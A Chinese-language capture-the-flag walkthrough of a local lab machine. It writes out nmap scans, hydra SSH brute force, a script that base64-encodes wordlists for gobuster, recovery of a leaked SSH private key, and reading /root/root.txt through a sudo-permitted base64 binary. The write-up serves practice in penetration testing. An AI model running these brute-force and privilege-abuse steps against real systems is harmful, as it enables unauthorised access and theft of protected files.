作为自己的专项练习,力求培养渗透思维,熟悉工具使用,愿与诸君共勉之
nmap探测目标IP
nmap -sT --min-rate 10000 -p- 192.168.56.0/24
Nmap scan report for 192.168.56.102
Host is up (0.00055s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
nmap针对目标IP开放端口进行更加详细的扫描
nmap -sT -sV -sC -A -p22,80 192.168.56.102
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 ca0980f73ada5ab619d95c414743d410 (RSA)
| 256 d0754848b8265937643b257f2010f870 (ECDSA)
|_ 256 9114f7930b0625cbe0a530e8d3d3372b (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
这里只存在ssh服务,和http服务。接下来逐个击破
这里经过nmap的探测,发现ssh服务的版本过高,无漏洞可利用
爆破可尝试,挂后台跑
hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.102
这里选用rockyou.txt的原因是因为够大够全
首先,干几件事(枚举目录,探测web应用程序(源码,中间件等))
dirsearch -u http://192.168.56.102/
[10:30:42] 200 - 276B - /index.html
目录无可用信息
whatweb http://192.168.56.102/
http://192.168.56.102/ [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.14.2], IP[192.168.56.102], nginx[1.14.2]
也没有什么可用的信息
去浏览web主页
发现存在一段base64编码后的密文,解码
echo "QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK" | base64 -d
ALL, absolutely ALL that you need is in BASE64.
Including the password that you need :)
Remember, BASE64 has the answer to all your questions.
-lucas
我们查看解码后的信息,得到提示所有的答案都跟base64有关
我尝试从这个页面获取更多的信息,我去翻了一下主页源码又发现了一些好东西
<!--
iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme
-->
好了,有了这么多的提示我知道该怎么搞了
根据提示,我现在需要把泄露的东西保存为账户密码文本,然后针对密码文本进行base64加密
cat user.txt
lucas
iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme
cat pass.txt
lucas
iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme
加密脚本
enbase.sh
#!/bin/bash
while IFS= read -r linea
do
echo $linea | base64 >> $2
done < $1
它将对我们作为第一个参数放置的文件进行编码,并在第二个参数中为我们打印它
./enbase.sh pass.txt enpass.txt
进行ssh爆破
hydra -L ./user.txt -P ./enpass.txt ssh://192.168.56.102
等等,为啥不对。貌似又被卡住了
额,去问了一下大佬(他说你都试了爆ssh,为啥不试爆目录)
等等,好像有道理啊,全部跟base64有关
那我把有关的都base64加密一次再搞
先用个最小的目录字典试个水先
./enbase.sh /usr/share/wordlists/dirb/common.txt dict.txt
然后用gobuster
指定文件扫
gobuster dir -u http://192.168.56.102/ -w ./dict.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.102/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: ./dict.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2023/06/08 11:07:25 Starting gobuster in directory enumeration mode
===============================================================
/aWRfcnNhCg== (Status: 200) [Size: 2537]
/cm9ib3RzLnR4dAo= (Status: 200) [Size: 25]
===============================================================
2023/06/08 11:07:25 Finished
===============================================================
出货出货
是两文件,打开看看
额,base64,解个码发现是ssh私钥泄露
echo "LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVE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Brp/0xKEaMTCKLvyyZ3eDSdBDPrkThhFwrPpI6+Ex8RvcWI6bTJAWJ
LdmmRXUS/DtO+69/aidvxGAYob+1M=
-----END OPENSSH PRIVATE KEY-----
保存为id_rsa
记得给id_rsa赋权600哈,要不然死都进不去
利用lucas这个用户进入
ssh -i id_ras [email protected]
Enter passphrase for key 'id_ras':
好巧不巧,那就加密后的pass.txt的密码挨着试
lucas:aWxvdmV5b3UK
然后直接cat flag就可以
先sudo -l
悄悄的看一眼
额掏出可爱的gtfobins看看
正是我所期待的那样,因为我们知道该标志将位于根目录中,并将被称为 root.txt 所以
sudo /usr/bin/base64 /root/root.txt | base64 -d